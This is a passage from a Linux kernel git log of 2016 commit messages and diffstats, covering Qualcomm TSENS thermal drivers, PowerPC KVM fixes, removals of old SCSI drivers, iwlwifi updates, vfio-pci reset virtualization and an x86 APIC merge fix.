drivers/thermal/qcom/tsens.c | 3 ++ drivers/thermal/qcom/tsens.h | 2 +- 4 files changed, 89 insertions(+), 2 deletions(-) commit 20d4fd84bf524ad91e2cc3e4ab4020c27cfc0081 Author: Rajendra Nayak Date: Thu May 5 14:21:43 2016 +0530 thermal: qcom: tsens-8960: Add support for 8960 family of SoCs 8960 family of SoCs have the TSENS device as part of GCC, hence the driver probes the virtual child device created by GCC and uses the parent to extract all DT properties and reuses the GCC regmap. Also GCC/TSENS are part of a domain thats not always ON. Hence add .suspend and .resume hooks to save and restore some of the inited register context. Also 8960 family have some of the TSENS init sequence thats required to be done by the HLOS driver (some later versions of TSENS do not export these registers to non-secure world, and hence need these initializations to be done by secure bootloaders) 8660 from the same family has just one sensor and hence some register offset/layout differences which need special handling in the driver. Based on the original code from Siddartha Mohanadoss, Stephen Boyd and Narendran Rajan. Signed-off-by: Rajendra Nayak Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui drivers/thermal/qcom/Makefile | 2 +- drivers/thermal/qcom/tsens-8960.c | 292 ++++++++++++++++++++++++++++++++++++++ drivers/thermal/qcom/tsens.c | 8 +- drivers/thermal/qcom/tsens.h | 2 +- 4 files changed, 298 insertions(+), 6 deletions(-) commit 4a7069a32c99a81950de035535b0a064dcceaeba Author: Rajendra Nayak Date: Thu May 5 14:21:42 2016 +0530 thermal: core: export apis to get slope and offset Add apis for platform thermal drivers to query for slope and offset attributes, which might be needed for temperature calculations. Signed-off-by: Rajendra Nayak Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui Documentation/thermal/sysfs-api.txt | 12 ++++++++++++ drivers/thermal/thermal_core.c | 30 ++++++++++++++++++++++++++++++ include/linux/thermal.h | 8 ++++++++ 3 files changed, 50 insertions(+) commit 5e6703bd2d83548998848865cb9a9a795f31a311 Author: Rajendra Nayak Date: Thu May 5 14:21:41 2016 +0530 thermal: qcom: tsens-8974: Add support for 8974 family of SoCs Add .calibrate support for 8974 family as part of tsens_ops. Based on the original code by Siddartha Mohanadoss and Stephen Boyd. Signed-off-by: Rajendra Nayak Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui drivers/thermal/qcom/Makefile | 2 +- drivers/thermal/qcom/tsens-8974.c | 244 ++++++++++++++++++++++++++++++++++++++ drivers/thermal/qcom/tsens.c | 1 + drivers/thermal/qcom/tsens.h | 2 +- 4 files changed, 247 insertions(+), 2 deletions(-) commit 840a5bd3ed3fdd62456d4d26c3128ec10496555b Author: Rajendra Nayak Date: Thu May 5 14:21:40 2016 +0530 thermal: qcom: tsens-8916: Add support for 8916 family of SoCs Add support to calibrate sensors on 8916 family and also add common functions to read temperature from sensors (This can be reused on other SoCs having similar TSENS device) The calibration data is read from eeprom using the generic nvmem framework apis. Based on the original code by Siddartha Mohanadoss and Stephen Boyd. Signed-off-by: Rajendra Nayak Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui drivers/thermal/qcom/Makefile | 2 +- drivers/thermal/qcom/tsens-8916.c | 113 ++++++++++++++++++++++++++++++++++++++ drivers/thermal/qcom/tsens.c | 1 + drivers/thermal/qcom/tsens.h | 2 + 4 files changed, 117 insertions(+), 1 deletion(-) commit 9066073c6c27994a30187abf3b674770b4088348 Author: Rajendra Nayak Date: Thu May 5 14:21:39 2016 +0530 thermal: qcom: tsens: Add a skeletal TSENS drivers TSENS is Qualcomms' thermal temperature sensor device. It supports reading temperatures from multiple thermal sensors present on various QCOM SoCs. Calibration data is generally read from a non-volatile memory (eeprom) device. Add a skeleton driver with all the necessary abstractions so a variety of qcom device families which support TSENS can add driver extensions. Also add the required device tree bindings which can be used to describe the TSENS device in DT. Signed-off-by: Rajendra Nayak Reviewed-by: Lina Iyer Signed-off-by: Eduardo Valentin Signed-off-by: Zhang Rui .../devicetree/bindings/thermal/qcom-tsens.txt | 21 +++ drivers/thermal/Kconfig | 5 + drivers/thermal/Makefile | 1 + drivers/thermal/qcom/Kconfig | 11 ++ drivers/thermal/qcom/Makefile | 2 + drivers/thermal/qcom/tsens-common.c | 141 +++++++++++++++ drivers/thermal/qcom/tsens.c | 195 +++++++++++++++++++++ drivers/thermal/qcom/tsens.h | 90 ++++++++++ 8 files changed, 466 insertions(+) commit fa73c3b25bd8d0d393dc6109a1dba3c2aef0451e Author: Thomas Huth Date: Wed Sep 21 15:06:45 2016 +0200 KVM: PPC: Book3s PR: Allow access to unprivileged MMCR2 register The MMCR2 register is available twice, one time with number 785 (privileged access), and one time with number 769 (unprivileged, but it can be disabled completely). In former times, the Linux kernel was using the unprivileged register 769 only, but since commit 8dd75ccb571f3c92c ("powerpc: Use privileged SPR number for MMCR2"), it uses the privileged register 785 instead. The KVM-PR code then of course also switched to use the SPR 785, but this is causing older guest kernels to crash, since these kernels still access 769 instead. So to support older kernels with KVM-PR again, we have to support register 769 in KVM-PR, too. Fixes: 8dd75ccb571f3c92c48014b3dabd3d51a115ab41 Cc: stable@vger.kernel.org # v3.10+ Signed-off-by: Thomas Huth Signed-off-by: Paul Mackerras arch/powerpc/include/asm/reg.h | 1 + arch/powerpc/kvm/book3s_emulate.c | 2 ++ 2 files changed, 3 insertions(+) commit 2365f6b67c0d786b9d1cb1268575e42807fe47e2 Author: Thomas Huth Date: Wed Sep 21 13:53:46 2016 +0200 KVM: PPC: Book3S PR: Support 64kB page size on POWER8E and POWER8NVL On POWER8E and POWER8NVL, KVM-PR does not announce support for 64kB page sizes and 1TB segments yet. Looks like this has just been forgotton so far, since there is no reason why this should be different to the normal POWER8 CPUs. Signed-off-by: Thomas Huth Signed-off-by: Paul Mackerras arch/powerpc/kvm/book3s_pr.c | 2 ++ 1 file changed, 2 insertions(+) commit 4f053d06dce6cbc82806d9baff24fb3add877205 Author: Balbir Singh Date: Fri Sep 16 17:25:50 2016 +1000 KVM: PPC: Book3S: Remove duplicate setting of the B field in tlbie Remove duplicate setting of the the "B" field when doing a tlbie(l). In compute_tlbie_rb(), the "B" field is set again just before returning the rb value to be used for tlbie(l). Signed-off-by: Balbir Singh Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_book3s_64.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit ac0e89bb4744d3882ccd275f2416d9ce22f4e1e7 Author: Dan Carpenter Date: Thu Jul 14 13:15:46 2016 +0300 KVM: PPC: BookE: Fix a sanity check We use logical negate where bitwise negate was intended. It means that we never return -EINVAL here. Fixes: ce11e48b7fdd ('KVM: PPC: E500: Add userspace debug stub support') Signed-off-by: Dan Carpenter Reviewed-by: Alexander Graf Signed-off-by: Paul Mackerras arch/powerpc/kvm/booke.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4cd169419f5a5a1c57dadeb3588ca7ee4d6de69f Author: Vinod Koul Date: Fri Sep 2 16:01:52 2016 +0530 dmaengine: tegra-adma: enable COMPILE_TEST To get more coverage, enable COMPILE_TEST for this driver. Suggested-by: Jon Hunter Signed-off-by: Vinod Koul drivers/dma/Kconfig | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit b009031f74da1c71f306bbe410da78bd9d848669 Author: Paul Mackerras Date: Thu Sep 15 16:27:41 2016 +1000 KVM: PPC: Book3S HV: Take out virtual core piggybacking code This takes out the code that arranges to run two (or more) virtual cores on a single subcore when possible, that is, when both vcores are from the same VM, the VM is configured with one CPU thread per virtual core, and all the per-subcore registers have the same value in each vcore. Since the VTB (virtual timebase) is a per-subcore register, and will almost always differ between vcores, this code is disabled on POWER8 machines, meaning that it is only usable on POWER7 machines (which don't have VTB). Given the tiny number of POWER7 machines which have firmware that allows them to run HV KVM, the benefit of simplifying the code outweighs the loss of this feature on POWER7 machines. Tested-by: Thomas Huth Signed-off-by: Paul Mackerras arch/powerpc/kvm/book3s_hv.c | 128 +------------------------------------------ 1 file changed, 3 insertions(+), 125 deletions(-) commit 88b02cf97bb7e742db3e31671d54177e3e19fd89 Author: Paul Mackerras Date: Thu Sep 15 13:42:52 2016 +1000 KVM: PPC: Book3S: Treat VTB as a per-subcore register, not per-thread POWER8 has one virtual timebase (VTB) register per subcore, not one per CPU thread. The HV KVM code currently treats VTB as a per-thread register, which can lead to spurious soft lockup messages from guests which use the VTB as the time source for the soft lockup detector. (CPUs before POWER8 did not have the VTB register.) For HV KVM, this fixes the problem by making only the primary thread in each virtual core save and restore the VTB value. With this, the VTB state becomes part of the kvmppc_vcore structure. This also means that "piggybacking" of multiple virtual cores onto one subcore is not possible on POWER8, because then the virtual cores would share a single VTB register. PR KVM emulates a VTB register, which is per-vcpu because PR KVM has no notion of CPU threads or SMT. For PR KVM we move the VTB state into the kvmppc_vcpu_book3s struct. Cc: stable@vger.kernel.org # v3.14+ Reported-by: Thomas Huth Tested-by: Thomas Huth Signed-off-by: Paul Mackerras arch/powerpc/include/asm/kvm_book3s.h | 2 ++ arch/powerpc/include/asm/kvm_host.h | 1 - arch/powerpc/kernel/asm-offsets.c | 2 +- arch/powerpc/kvm/book3s.c | 6 ------ arch/powerpc/kvm/book3s_emulate.c | 2 +- arch/powerpc/kvm/book3s_hv.c | 14 +++++++++++--- arch/powerpc/kvm/book3s_hv_rmhandlers.S | 14 +++++++------- arch/powerpc/kvm/book3s_pr.c | 8 +++++++- 8 files changed, 29 insertions(+), 20 deletions(-) commit d095c500fd79421f915cea26925677cd16ecd623 Author: Axel Lin Date: Fri Sep 23 15:01:07 2016 -0700 Input: snvs_pwrkey - drop input_free_device call if input_register_device fails Current code uses devm_input_allocate_device() so don't explicitly call input_free_device if input_register_device fails. Signed-off-by: Axel Lin Signed-off-by: Dmitry Torokhov drivers/input/keyboard/snvs_pwrkey.c | 1 - 1 file changed, 1 deletion(-) commit 9ca5bf5029b6c17ce50b34581242f71f9b777ae7 Author: Siebren Vroegindeweij Date: Thu Sep 15 15:38:02 2016 -0700 Input: add support for Elan eKTF2127 touchscreen controller This adds a driver for the Elan eKTF2127 touchscreen controller, which speaks an i2c protocol which is distinctly different from the already supported eKTH controllers. Signed-off-by: Michel Verlaan Signed-off-by: Siebren Vroegindeweij Signed-off-by: Hans de Goede Acked-by: Rob Herring Signed-off-by: Dmitry Torokhov .../bindings/input/touchscreen/ektf2127.txt | 27 ++ drivers/input/touchscreen/Kconfig | 12 + drivers/input/touchscreen/Makefile | 1 + drivers/input/touchscreen/ektf2127.c | 336 +++++++++++++++++++++ 4 files changed, 376 insertions(+) commit 0744f1306f6b0ffc2c6bd68c1edf688b74fa8779 Author: Hugh Kang Date: Wed Sep 7 09:35:39 2016 +0900 thermal: cpu_cooling: Fix wrong comment call function name The last_load is updated not cpufreq_get_actual_power() function call but cpufreq_get_requested_power() function call. Signed-off-by: Inhyuk Kang Acked-by: Viresh Kumar Acked-by: Javi Merino Acked-by: Javi Merino Signed-off-by: Zhang Rui drivers/thermal/cpu_cooling.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 14bf41dcef651c13911a1715e83220732a3a4071 Author: Baoyou Xie Date: Sun Sep 25 13:48:50 2016 +0800 scsi: mvsas: Mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/scsi/mvsas/mv_sas.c:77:18: warning: no previous prototype for 'mvs_find_dev_mvi' [-Wmissing-prototypes] drivers/scsi/mvsas/mv_sas.c:105:5: warning: no previous prototype for 'mvs_find_dev_phyno' [-Wmissing-prototypes] drivers/scsi/mvsas/mv_sas.c:1161:20: warning: no previous prototype for 'mvs_alloc_dev' [-Wmissing-prototypes] drivers/scsi/mvsas/mv_sas.c:1178:6: warning: no previous prototype for 'mvs_free_dev' [-Wmissing-prototypes] drivers/scsi/mvsas/mv_sas.c:1188:5: warning: no previous prototype for 'mvs_dev_found_notify' [-Wmissing-prototypes] drivers/scsi/mvsas/mv_sas.c:1244:6: warning: no previous prototype for 'mvs_dev_gone_notify' [-Wmissing-prototypes] drivers/scsi/mvsas/mv_sas.c:1614:6: warning: no previous prototype for 'mvs_set_sense' [-Wmissing-prototypes] drivers/scsi/mvsas/mv_sas.c:1653:6: warning: no previous prototype for 'mvs_fill_ssp_resp_iu' [-Wmissing-prototypes] drivers/scsi/mvsas/mv_64xx.c:139:6: warning: no previous prototype for 'mvs_64xx_clear_srs_irq' [-Wmissing-prototypes] drivers/scsi/mvsas/mv_64xx.c:566:6: warning: no previous prototype for 'mvs_64xx_make_prd' [-Wmissing-prototypes] .... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen drivers/scsi/mvsas/mv_64xx.c | 19 ++++++++++--------- drivers/scsi/mvsas/mv_94xx.c | 41 +++++++++++++++++++++-------------------- drivers/scsi/mvsas/mv_sas.c | 16 ++++++++-------- 3 files changed, 39 insertions(+), 37 deletions(-) commit 7efa59e1608255a478dd62fc0e2e39f2563c05c2 Author: Baoyou Xie Date: Fri Sep 23 21:54:22 2016 +0800 scsi: pm8001: Mark symbols static where possible We get 2 warnings when building kernel with W=1: drivers/scsi/pm8001/pm8001_sas.c:530:23: warning: no previous prototype for 'pm8001_alloc_dev' [-Wmissing-prototypes] drivers/scsi/pm8001/pm8001_hwi.c:4495:5: warning: no previous prototype for 'pm8001_chip_phy_stop_req' [-Wmissing-prototypes] In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Acked-by: Lindar Liu Signed-off-by: Martin K. Petersen drivers/scsi/pm8001/pm8001_hwi.c | 4 ++-- drivers/scsi/pm8001/pm8001_sas.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit 4bd173c30792791a6daca8c64793ec0a4ae8324f Author: Borislav Petkov Date: Fri Sep 23 13:22:26 2016 +0200 scsi: arcmsr: Simplify user_len checking Do the user_len check first and then the ver_addr allocation so that we can save us the kfree() on the error path when user_len is > ARCMSR_API_DATA_BUFLEN. Signed-off-by: Borislav Petkov Cc: Marco Grassi Cc: Dan Carpenter Cc: Tomas Henzl Cc: Martin K. Petersen Cc: Reviewed-by: Johannes Thumshirn Reviewed-by: Tomas Henzl Signed-off-by: Martin K. Petersen drivers/scsi/arcmsr/arcmsr_hba.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 182d3f84307263e016977eaf23f9048483cf5ea2 Author: Vincent Stehlé Date: Wed Sep 21 22:54:07 2016 +0200 scsi: fcoe: fix off by one in eth2fc_speed() This should be "< ARRAY_SIZE()" instead of "<= ARRAY_SIZE()". Fixes: 0b924e5505a568e7 ("scsi: fcoe: provide translation table between Ethernet and FC port speeds") Signed-off-by: Vincent Stehlé Cc: Johannes Thumshirn Cc: "Martin K. Petersen" Reviewed-by: Johannes Thumshirn Signed-off-by: Martin K. Petersen drivers/scsi/fcoe/fcoe_transport.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 92efbb8500230c883ca6966b0ef9f3e18c1e29ba Author: Christoph Hellwig Date: Mon Sep 19 08:50:53 2016 -0700 scsi: dtc: remove from tree The driver has not seen any maintainer activity or other work that wasn't tree wide conversion or clenaups in the entire history of the git tree. Signed-off-by: Christoph Hellwig Reviewed-by: Hannes Reinicke Acked-by: Finn Thain Signed-off-by: Martin K. Petersen Documentation/scsi/dtc3x80.txt | 43 ---- Documentation/scsi/scsi-parameters.txt | 3 - MAINTAINERS | 2 - drivers/scsi/Kconfig | 14 -- drivers/scsi/Makefile | 1 - drivers/scsi/dtc.c | 447 --------------------------------- drivers/scsi/dtc.h | 42 ---- 7 files changed, 552 deletions(-) commit f95819a09c2d6ff2e8a784ff46ba8836f937d07b Author: Christoph Hellwig Date: Mon Sep 19 08:50:52 2016 -0700 scsi: t128: remove from tree The driver has not seen any maintainer activity or other work that wasn't tree wide conversion or clenaups in the entire history of the git tree. Signed-off-by: Christoph Hellwig Reviewed-by: Hannes Reinicke Acked-by: Finn Thain Signed-off-by: Martin K. Petersen Documentation/scsi/scsi-parameters.txt | 3 - MAINTAINERS | 1 - drivers/scsi/Kconfig | 17 -- drivers/scsi/Makefile | 1 - drivers/scsi/t128.c | 407 --------------------------------- drivers/scsi/t128.h | 97 -------- 6 files changed, 526 deletions(-) commit 4931a46aef5c0d21422d1344fa8ec9206934e93c Author: Christoph Hellwig Date: Mon Sep 19 08:50:51 2016 -0700 scsi: pas16: remove from tree The driver has not seen any maintainer activity or other work that wasn't tree wide conversion or clenaups in the entire history of the git tree. Signed-off-by: Christoph Hellwig Reviewed-by: Hannes Reinicke Acked-by: Finn Thain Signed-off-by: Martin K. Petersen Documentation/scsi/scsi-parameters.txt | 3 - MAINTAINERS | 1 - drivers/scsi/Kconfig | 14 - drivers/scsi/Makefile | 1 - drivers/scsi/pas16.c | 565 --------------------------------- drivers/scsi/pas16.h | 121 ------- 6 files changed, 705 deletions(-) commit 24cbf0f799d3ff8e1f1f6417e9040933acd4b38d Author: Christoph Hellwig Date: Mon Sep 19 08:50:50 2016 -0700 scsi: u14-34f: remove from tree The driver has not seen any maintainer activity or other work that wasn't tree wide conversion or clenaups in the entire history of the git tree. Signed-off-by: Christoph Hellwig Reviewed-by: Hannes Reinicke Signed-off-by: Martin K. Petersen Documentation/scsi/scsi-parameters.txt | 3 - MAINTAINERS | 6 - drivers/scsi/Kconfig | 49 - drivers/scsi/Makefile | 1 - drivers/scsi/u14-34f.c | 1971 -------------------------------- 5 files changed, 2030 deletions(-) commit 180a186d9839a5c2a2d2a2a572d5e47f41bf9309 Author: Christoph Hellwig Date: Mon Sep 19 08:50:49 2016 -0700 scsi: ultrastor: remove from tree The driver has not seen any maintainer activity or other work that wasn't tree wide conversion or clenaups in the entire history of the git tree. Signed-off-by: Christoph Hellwig Reviewed-by: Hannes Reinicke Signed-off-by: Martin K. Petersen drivers/scsi/Kconfig | 17 - drivers/scsi/Makefile | 1 - drivers/scsi/ultrastor.c | 1210 ---------------------------------------------- drivers/scsi/ultrastor.h | 80 --- 4 files changed, 1308 deletions(-) commit 2393b111ed8839e58e6590998483748b1efb35ff Author: Christoph Hellwig Date: Mon Sep 19 08:50:48 2016 -0700 scsi: in2000: remove from tree The driver has not seen any maintainer activity or other work that wasn't tree wide conversion or clenaups in the entire history of the git tree. Signed-off-by: Christoph Hellwig Reviewed-by: Hannes Reinicke Signed-off-by: Martin K. Petersen Documentation/scsi/00-INDEX | 2 - Documentation/scsi/in2000.txt | 202 --- Documentation/scsi/scsi-parameters.txt | 3 - drivers/scsi/Kconfig | 12 - drivers/scsi/Makefile | 1 - drivers/scsi/in2000.c | 2302 -------------------------------- drivers/scsi/in2000.h | 412 ------ 7 files changed, 2934 deletions(-) commit 9b3a34fb2125141720515b79ed2228545645a7bc Author: Christoph Hellwig Date: Mon Sep 19 08:50:47 2016 -0700 scsi: wd7000: remove from tree The driver has not seen any maintainer activity or other work that wasn't tree wide conversion or clenaups in the entire history of the git tree. Signed-off-by: Christoph Hellwig Reviewed-by: Hannes Reinicke Signed-off-by: Martin K. Petersen Documentation/scsi/scsi-parameters.txt | 3 - MAINTAINERS | 6 - drivers/scsi/Kconfig | 12 - drivers/scsi/Makefile | 1 - drivers/scsi/wd7000.c | 1657 -------------------------------- 5 files changed, 1679 deletions(-) commit 086acff2cf8a6a41f533e5da5f51923db5f68df4 Author: tang.junhui Date: Sun Sep 18 18:05:11 2016 +0800 scsi: scsi_dh_alua: Fix memory leak in alua_rtpg() buff should be freed before returning with SCSI_DH_RETRY in alua_rtpg(). Signed-off-by: tang.junhui Signed-off-by: Martin K. Petersen drivers/scsi/device_handler/scsi_dh_alua.c | 1 + 1 file changed, 1 insertion(+) commit bd4b3e5c8adf2b9f601b46b917afac555be05688 Author: Baoyou Xie Date: Sun Sep 25 13:44:55 2016 +0800 scsi: lpfc: Mark symbols static where possible We get a few warnings when building kernel with W=1: drivers/scsi/lpfc/lpfc_sli.c:5693:1: warning: no previous prototype for 'lpfc_set_features' [-Wmissing-prototypes] drivers/scsi/lpfc/lpfc_sli.c:8972:1: warning: no previous prototype for 'lpfc_sli_calc_ring' [-Wmissing-prototypes] drivers/scsi/lpfc/lpfc_els.c:4621:1: warning: no previous prototype for 'lpfc_rdp_res_link_service' [-Wmissing-prototypes] drivers/scsi/lpfc/lpfc_els.c:4633:1: warning: no previous prototype for 'lpfc_rdp_res_sfp_desc' [-Wmissing-prototypes] drivers/scsi/lpfc/lpfc_els.c:4698:1: warning: no previous prototype for 'lpfc_rdp_res_link_error' [-Wmissing-prototypes] drivers/scsi/lpfc/lpfc_els.c:4727:1: warning: no previous prototype for 'lpfc_rdp_res_bbc_desc' [-Wmissing-prototypes] drivers/scsi/lpfc/lpfc_els.c:4752:1: warning: no previous prototype for 'lpfc_rdp_res_oed_temp_desc' [-Wmissing-prototypes] drivers/scsi/lpfc/lpfc_els.c:4780:1: warning: no previous prototype for 'lpfc_rdp_res_oed_voltage_desc' [-Wmissing-prototypes] drivers/scsi/lpfc/lpfc_els.c:4809:1: warning: no previous prototype for 'lpfc_rdp_res_oed_txbias_desc' [-Wmissing-prototypes] drivers/scsi/lpfc/lpfc_els.c:4838:1: warning: no previous prototype for 'lpfc_rdp_res_oed_txpower_desc' [-Wmissing-prototypes] .... In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. So this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Acked-by: Arnd Bergmann Acked-by: Dick Kennedy Signed-off-by: Martin K. Petersen drivers/scsi/lpfc/lpfc_ct.c | 82 +++++++++++++++++++++---------------------- drivers/scsi/lpfc/lpfc_els.c | 34 +++++++++--------- drivers/scsi/lpfc/lpfc_mbox.c | 4 +-- drivers/scsi/lpfc/lpfc_sli.c | 4 +-- 4 files changed, 62 insertions(+), 62 deletions(-) commit b6f5be287344433100201c4d6f3f8dcd1755a6b3 Author: Philippe Reynes Date: Sun Sep 25 23:31:24 2016 +0200 net: tg3: use new api ethtool_{get|set}_link_ksettings The ethtool api {get|set}_settings is deprecated. We move this driver to new api {get|set}_link_ksettings. Signed-off-by: Philippe Reynes Acked-by: Michael Chan Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/tg3.c | 112 ++++++++++++++++++++---------------- 1 file changed, 62 insertions(+), 50 deletions(-) commit 099b548c429217a8306adbd1552d326615c9b903 Author: Gayatri Kammela Date: Mon Sep 26 14:37:38 2016 -0700 raid6/test/test.c: bug fix: Specify aligned(alignment) attributes to the char arrays Specifying the aligned attributes to the char data[NDISKS][PAGE_SIZE], char recovi[PAGE_SIZE] and char recovi[PAGE_SIZE] arrays, so that all malloc memory is page boundary aligned. Without these alignment attributes, the test causes a segfault in userspace when the NDISKS are changed to 4 from 16. The RAID stripes will be page aligned anyway, so we want to test what the kernel actually will execute. Cc: H. Peter Anvin Cc: Yu-cheng Yu Signed-off-by: Gayatri Kammela Reviewed-by: H. Peter Anvin Signed-off-by: Shaohua Li lib/raid6/test/test.c | 7 ++++--- 1 file changed, 4 insertions(+), 3 deletions(-) commit 43c02ede76a60de38504f4f4fd6042f677be093a Author: Yong Zhi Date: Mon Sep 26 13:02:29 2016 -0700 ASoC: Intel: Add DMIC channel constraint for bxt machine Add channel and rate constraints for Refcap and dmiccap devices respectively. Signed-off-by: Yong Zhi Signed-off-by: Mark Brown sound/soc/intel/boards/bxt_da7219_max98357a.c | 63 +++++++++++++++++++++++++++ 1 file changed, 63 insertions(+) commit dc258c15ea121414277156511c8cca944443201e Author: Darryl T. Agostinelli Date: Mon Sep 26 07:08:14 2016 -0500 staging: rtl8192e: fixed block comments should align the * on each line shifted over comment block one space Signed-off-by: Darryl T. Agostinelli Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8192e/rtl8192e/r8192E_hwimg.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1140c8a61a3252f2ee6a461159102b964613f1a1 Author: Gonçalo Salazar Date: Mon Sep 26 20:42:58 2016 +0100 staging: rtl8172: usb_intf.c: Fixed block comment coding style Fixed a block comment indentation in the rtl8712 usb_intf.c file. Signed-off-by: Gonçalo Salazar Signed-off-by: Greg Kroah-Hartman drivers/staging/rtl8712/usb_intf.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 9cd70e80f7f0df1d6d13d8aeb50a16bf40e2962c Author: Emmanuel Grumbach Date: Tue Sep 20 13:40:33 2016 +0300 iwlwifi: mvm: initialise ADD_STA before sending it to the firmware When we unshare a queue, the ADD_STA was not properly initialised. Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/sta.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3ac37d0109a32f684d38c9a47c49dde8d27bf1b8 Author: Sara Sharon Date: Thu Sep 8 10:44:38 2016 +0300 iwlwifi: allow error table address new range The firmware has a new smart linker, and this table can now be in ICCM or in SMEM. It is not hardcoded, but depends on code size. Allow the full range. Signed-off-by: Sara Sharon Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/utils.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 4dc6511f86b5f3edfd289d4714488d56562f9095 Author: Emmanuel Grumbach Date: Tue Sep 13 22:59:27 2016 +0300 iwlwifi: mvm: fix typo in TC_CMD_SEC_KEY_FROM_TABLE This define should really be TX_CMD_SEC_KEY_FROM_TABLE Signed-off-by: Emmanuel Grumbach Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/mvm/fw-api-tx.h | 4 ++-- drivers/net/wireless/intel/iwlwifi/mvm/tx.c | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) commit 4b87e5af638b6056bd6c20b0954d09a5a58633be Author: Luca Coelho Date: Mon Sep 12 16:03:30 2016 +0300 iwlwifi: remove support for fw older than -17 and -22 FW versions older than -17 for 3160 and 7260 and older than -22 for newer NICs are not supported anymore. Don't load these versions and remove code that handles them. Signed-off-by: Luca Coelho drivers/net/wireless/intel/iwlwifi/iwl-7000.c | 6 ++--- drivers/net/wireless/intel/iwlwifi/iwl-8000.c | 2 +- drivers/net/wireless/intel/iwlwifi/iwl-9000.c | 2 +- drivers/net/wireless/intel/iwlwifi/iwl-fw-file.h | 24 +------------------ .../net/wireless/intel/iwlwifi/mvm/debugfs-vif.c | 3 +-- .../net/wireless/intel/iwlwifi/mvm/fw-api-power.h | 21 +++++------------ drivers/net/wireless/intel/iwlwifi/mvm/fw-api-tx.h | 2 -- drivers/net/wireless/intel/iwlwifi/mvm/fw.c | 10 +------- drivers/net/wireless/intel/iwlwifi/mvm/mac80211.c | 24 ++++++++----------- drivers/net/wireless/intel/iwlwifi/mvm/mvm.h | 2 -- drivers/net/wireless/intel/iwlwifi/mvm/ops.c | 6 ++--- drivers/net/wireless/intel/iwlwifi/mvm/power.c | 15 ++++-------- drivers/net/wireless/intel/iwlwifi/mvm/scan.c | 27 ++++------------------ drivers/net/wireless/intel/iwlwifi/mvm/tt.c | 10 ++------ 14 files changed, 36 insertions(+), 118 deletions(-) commit c93a97ee0583cd65adaf872e7cc402493eae92a7 Author: Alex Williamson Date: Mon Sep 26 13:52:19 2016 -0600 vfio-pci: Disable INTx after MSI/X teardown The MSI/X shutdown path can gratuitously enable INTx, which is not something we want to happen if we're dealing with broken INTx device. Signed-off-by: Alex Williamson drivers/vfio/pci/vfio_pci_intrs.c | 7 +++++++ 1 file changed, 7 insertions(+) commit ddf9dc0eb5314d6dac8b19b1cc37c739c6896e7e Author: Alex Williamson Date: Mon Sep 26 13:52:16 2016 -0600 vfio-pci: Virtualize PCIe & AF FLR We use a BAR restore trick to try to detect when a user has performed a device reset, possibly through FLR or other backdoors, to put things back into a working state. This is important for backdoor resets, but we can actually just virtualize the "front door" resets provided via PCIe and AF FLR. Set these bits as virtualized + writable, allowing the default write to set them in vconfig, then we can simply check the bit, perform an FLR of our own, and clear the bit. We don't actually have the granularity in PCI to specify the type of reset we want to do, but generally devices don't implement both PCIe and AF FLR and we'll favor these over other types of reset, so we should generally lineup. We do test whether the device provides the requested FLR type to stay consistent with hardware capabilities though. This seems to fix several instance of devices getting into bad states with userspace drivers, like dpdk, running inside a VM. Signed-off-by: Alex Williamson Reviewed-by: Greg Rose drivers/vfio/pci/vfio_pci_config.c | 82 +++++++++++++++++++++++++++++++++++--- 1 file changed, 77 insertions(+), 5 deletions(-) commit eb6296dec19f304199ae389e6863ecc1fc74b7c7 Author: Thomas Gleixner Date: Mon Sep 26 15:48:33 2016 -0400 x86/apic: Fix silent & fatal merge conflict in __generic_processor_info() Fix up the silent merge conflict between commit c291b0151585 in x86/urgent and commit f7c28833c2520 in x86/apic which both remove num_processors++ from the original location and then add it at two different locations. As a result num_processors is incremented twice which can cut the number of available cpus in half. Remove the one which is added by commit c291b0151585. In hindsight I should have merged x86/urgent into x86/apic _before_ adding the nodeid bits, but in hindsight we are always smarter. Reported-and-tested-by: Borislav Petkov Reported-by: Mike Galbraith Fixes: 1e1b37273cf7 ("Merge branch 'x86/urgent' into x86/apic") Link: https://lkml.kernel.org/r/alpine.DEB.2.20.1609261350090.5483@nanos Cc: Dou Liyang Signed-off-by: Thomas Gleixner arch/x86/kernel/apic/apic.c | 2 -- 1 file changed, 2 deletions(-) commit 1e1b37273cf719545da50b76f214f983a710aaf4 Merge: c183a60 c291b01 Author: Thomas Gleixner Date: Mon Sep 26 15:47:03 2016 -0400 Merge branch 'x86/urgent' into x86/apic Bring in the upstream modifications so we can fixup the silent merge conflict which is introduced by this merge. Signed-off-by: Thomas Gleixner commit 0f75c404503cc49cbe92555fbab80a584c1f4ae2 Author: Jaehoon Chung Date: Thu Jul 28 18:55:27 2016 +0900 mmc: dw_mmc: remove the deprecated "supports-highspeed" property Remvoe the deprecated "supports-highspeed" property. DWMMC controller will not use this property anymore. 